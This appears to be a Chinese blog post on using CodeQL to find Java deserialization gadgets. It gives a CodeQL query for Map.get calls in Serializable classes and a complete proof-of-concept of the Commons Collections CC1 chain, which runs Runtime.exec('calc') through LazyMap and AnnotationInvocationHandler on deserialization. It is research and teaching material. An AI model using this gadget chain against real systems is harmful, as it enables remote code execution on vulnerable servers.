CodeQL分析java反序列化gadget第一期--CC1链

Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

/**
 * @name Advanced Map type analysis with SSA flow
 * @description 使用SSA数据流分析追踪Map变量的实际类型，找到声明为Map接口且实际也是Map接口的调用
 * @kind problem
 * @problem.severity warning
 * @precision very-high
 * @id java/advanced-map-type-analysis
 * @tags reliability
 *       dataflow
 *       type-analysis
 */

import java
import semmle.code.java.dataflow.TypeFlow
import semmle.code.java.dataflow.SSA
import semmle.code.java.Maps

/**
 * 高级Map调用分析类，使用SSA数据流分析
 */
class AdvancedMapCall extends MethodCall {
    AdvancedMapCall() {
        this.getMethod().getName() = "get" and
        this.getNumArgument() = 1 and
        this.getQualifier().getType() instanceof MapType
    }

    /**
     * 获取调用限定符的SSA变量（如果是变量访问）
     */
    SsaVariable getQualifierSsa() {
        exists(VarAccess va |
            va = this.getQualifier() and
            result.getAUse() = va
        )
    }

    /**
     * 检查是否是字段访问
     */
    predicate isFieldAccess() {
        this.getQualifier() instanceof FieldAccess
    }

    /**
     * 获取字段（如果是字段访问）
     */
    Field getAccessedField() {
        result = this.getQualifier().(FieldAccess).getField()
    }

    /**
     * 获取所有可能流入此调用点的SSA定义
     */
    SsaVariable getAFlowingDefinition() {
        result = this.getQualifierSsa()
        or
        exists(SsaPhiNode phi |
            phi = this.getQualifierSsa() and
            result = phi.getAPhiInput()
        )
        or
        exists(SsaVariable intermediate |
            intermediate = this.getAFlowingDefinition() and
            intermediate instanceof SsaPhiNode and
            result = intermediate.(SsaPhiNode).getAPhiInput()
        )
    }

    /**
     * 检查特定SSA定义是否对应Map接口类型（而不是具体实现）
     */
    predicate ssaDefinesMapInterface(SsaVariable ssaVar) {
        exists(Expr definingExpr |
            definingExpr = ssaVar.(SsaExplicitUpdate).getDefiningExpr().(VariableAssign).getSource()
            or
            definingExpr = ssaVar.(SsaExplicitUpdate).getDefiningExpr().(LocalVariableDeclExpr).getInit()
        |
            // 方法调用返回Map接口类型
            exists(MethodCall mc |
                mc = definingExpr and
                isMapInterfaceType(mc.getMethod().getReturnType())
            )
            or
            // 使用类型流分析获取精确的接口类型
            exists(RefType flowType |
                exprTypeFlow(definingExpr, flowType, true) and // true表示精确类型
                isMapInterfaceType(flowType)
            )
            or
            // 字段访问返回Map接口
            exists(FieldAccess fa |
                fa = definingExpr and
                isMapInterfaceType(fa.getField().getType())
            )
            or
            // 参数传递（方法参数通常是接口类型）
            exists(Parameter param |
                ssaVar.(SsaImplicitInit).isParameterDefinition(param) and
                isMapInterfaceType(param.getType())
            )
            or
            // 静态方法调用返回接口类型（如Collections.emptyMap()）
            exists(MethodCall staticCall |
                staticCall = definingExpr and
                staticCall.getMethod().isStatic() and
                isMapInterfaceReturnType(staticCall.getMethod())
            )
        )
    }

    /**
     * 检查字段是否声明为Map接口类型
     */
    predicate fieldIsMapInterface() {
        this.isFieldAccess() and
        isMapInterfaceType(this.getAccessedField().getType())
    }

    /**
     * 检查字段初始化是否为Map接口类型
     */
    predicate fieldInitializedWithMapInterface() {
        this.isFieldAccess() and
        exists(Field field | field = this.getAccessedField() |
            // 字段初始化为Map接口
            exists(Expr init | init = field.getInitializer() |
                exists(MethodCall mc |
                    mc = init and
                    isMapInterfaceReturnType(mc.getMethod())
                )
                or
                exists(RefType flowType |
                    exprTypeFlow(init, flowType, true) and
                    isMapInterfaceType(flowType)
                )
            )
        )
    }

    /**
     * 检查字段是否在任何方法中被赋值为具体实现类（关键新增功能）
     */
    predicate fieldContaminatedByConcreteAssignment() {
        this.isFieldAccess() and
        exists(Field field, Assignment assign |
            field = this.getAccessedField() and
            assign.getDest().(FieldAccess).getField() = field and
            (
                // 直接赋值为具体实现类构造函数
                exists(ClassInstanceExpr cie |
                    cie = assign.getSource() and
                    isConcreteMapImplementation(cie.getConstructedType())
                )
                or
                // 赋值为返回具体实现类的方法调用
                exists(MethodCall mc |
                    mc = assign.getSource() and
                    isConcreteMapImplementation(mc.getMethod().getReturnType())
                )
                or
                // 使用类型流分析检测具体实现类
                exists(RefType flowType |
                    exprTypeFlow(assign.getSource(), flowType, true) and
                    isConcreteMapImplementation(flowType)
                )
            )
        )
    }

    /**
     * 检查字段是否在构造函数中被赋值为具体实现类
     */
    predicate fieldContaminatedInConstructor() {
        this.isFieldAccess() and
        exists(Field field, Constructor constructor, Assignment assign |
            field = this.getAccessedField() and
            constructor.getDeclaringType() = field.getDeclaringType() and
            assign.getEnclosingCallable() = constructor and
            assign.getDest().(FieldAccess).getField() = field and
            (
                exists(ClassInstanceExpr cie |
                    cie = assign.getSource() and
                    isConcreteMapImplementation(cie.getConstructedType())
                )
                or
                exists(RefType flowType |
                    exprTypeFlow(assign.getSource(), flowType, true) and
                    isConcreteMapImplementation(flowType)
                )
            )
        )
    }

    /**
     * 检查字段是否被任何形式的具体实现类污染
     */
    predicate fieldIsContaminated() {
        this.fieldContaminatedByConcreteAssignment() or
        this.fieldContaminatedInConstructor() or
        // 字段初始化就是具体实现类
        (
            this.isFieldAccess() and
            exists(Field field | field = this.getAccessedField() |
                exists(Expr init | init = field.getInitializer() |
                    exists(ClassInstanceExpr cie |
                        cie = init and
                        isConcreteMapImplementation(cie.getConstructedType())
                    )
                    or
                    exists(RefType flowType |
                        exprTypeFlow(init, flowType, true) and
                        isConcreteMapImplementation(flowType)
                    )
                )
            )
        )
    }

    /**
     * 检查是否所有流入的定义都是Map接口类型
     */
    predicate allDefinitionsAreMapInterface() {
        // 情况1：变量访问且所有SSA定义都是Map接口
        (
            not this.isFieldAccess() and
            exists(this.getAFlowingDefinition()) and
            forall(SsaVariable def | def = this.getAFlowingDefinition() |
                this.ssaDefinesMapInterface(def)
            )
        )
        or
        // 情况2：字段访问且字段类型是Map接口，且没有被具体实现类污染
        (
            this.isFieldAccess() and
            this.fieldIsMapInterface() and
            not this.fieldIsContaminated() and
            (this.fieldInitializedWithMapInterface() or not exists(this.getAccessedField().getInitializer()))
        )
    }

    /**
     * 检查声明类型是否为Map接口
     */
    predicate hasDeclaredMapInterfaceType() {
        isMapInterfaceType(this.getQualifier().getType())
    }

 

    /**
     * 获取Map接口类型的详细信息
     */
    string getMapInterfaceInfo() {
        if this.isFieldAccess() then
            result = "声明类型: " + this.getQualifier().getType().getName() + 
                     ", 字段访问: " + this.getAccessedField().getName() + 
                     ", 确认为纯净Map接口调用"
        else
            result = "声明类型: " + this.getQualifier().getType().getName() + 
                     ", 确认为纯净Map接口调用"
    }
}

/**
 * 检查是否为Map接口类型（而不是具体实现类）
 */
predicate isMapInterfaceType(Type type) {
    // 直接是Map接口
    type.(RefType).getSourceDeclaration().hasQualifiedName("java.util", "Map")
    or
    // 参数化的Map接口，如Map<String, Object>
    exists(ParameterizedType pt |
        pt = type and
        pt.getSourceDeclaration().hasQualifiedName("java.util", "Map")
    )
}

/**
 * 检查是否为具体的Map实现类
 */
predicate isConcreteMapImplementation(RefType type) {
    type.getSourceDeclaration().hasQualifiedName("java.util", "HashMap") or
    type.getSourceDeclaration().hasQualifiedName("java.util", "LinkedHashMap") or
    type.getSourceDeclaration().hasQualifiedName("java.util", "TreeMap") or
    type.getSourceDeclaration().hasQualifiedName("java.util", "ConcurrentHashMap") or
    type.getSourceDeclaration().hasQualifiedName("java.util", "WeakHashMap") or
    type.getSourceDeclaration().hasQualifiedName("java.util", "IdentityHashMap") or
    type.getSourceDeclaration().hasQualifiedName("java.util", "EnumMap") or
    // 其他常见Map实现
    (type instanceof MapType and 
     not type.getSourceDeclaration().hasQualifiedName("java.util", "Map") and
     type.getSourceDeclaration().getASourceSupertype*().hasQualifiedName("java.util", "Map"))
}

/**
 * 检查方法是否返回Map接口类型（常见的工厂方法）
 */
predicate isMapInterfaceReturnType(Method method) {
    // Collections类的静态方法
    method.getDeclaringType().hasQualifiedName("java.util", "Collections") and
    method.getName().regexpMatch("(empty|singleton|unmodifiable|synchronized).*Map.*") and
    isMapInterfaceType(method.getReturnType())
    or
    // 其他返回Map接口的工厂方法
    method.getReturnType().(RefType).getSourceDeclaration().hasQualifiedName("java.util", "Map")
    or
    // Map接口的默认方法或静态方法
    method.getDeclaringType().hasQualifiedName("java.util", "Map") and
    isMapInterfaceType(method.getReturnType())
}

/**
 * 辅助谓词：检查是否为序列化类
 */
predicate isSerializableClass(RefType rt) {
    exists(RefType st | 
        rt.hasSupertype(st) and
        st.hasQualifiedName("java.io", "Serializable")
    )
}



// 主查询
from AdvancedMapCall amc
where 
    // 声明类型是Map接口
    amc.hasDeclaredMapInterfaceType() and
    // 所有定义都是Map接口类型（包括字段访问且未被污染）
    amc.allDefinitionsAreMapInterface() and
    // 在序列化类中（可选过滤条件）
    isSerializableClass(amc.getEnclosingCallable().getDeclaringType())
    select
    amc, "Map 使用点",
    amc.getMapInterfaceInfo(), "映射接口信息",
    amc.getEnclosingCallable(), "方法所在的位置",
    amc.getEnclosingCallable().getDeclaringType(), "所属类"

// 声明
private final Map<String, Object> memberValues;
// 构造方法
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
}

// 构造里面的AnnotationInvocationHandler类，交给动态代理
Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyedMap);
// 构造动态代理
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annotationInvocationHandler);
// 构造外面的AnnotationInvocationHandler类，用于反序列化触发readObject方法
InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, proxyMap);

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

import static Tool.Serialize.serialize;
import static Tool.Unserialize.unserialize;

public class OriginalModel {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap map = new HashMap<>();
        Map lazyedMap = LazyMap.decorate(map, chainedTransformer);
        Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler annotationInvocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyedMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annotationInvocationHandler);
        InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, proxyMap);
        serialize(invocationHandler);
        unserialize("ser.bin");
	}
}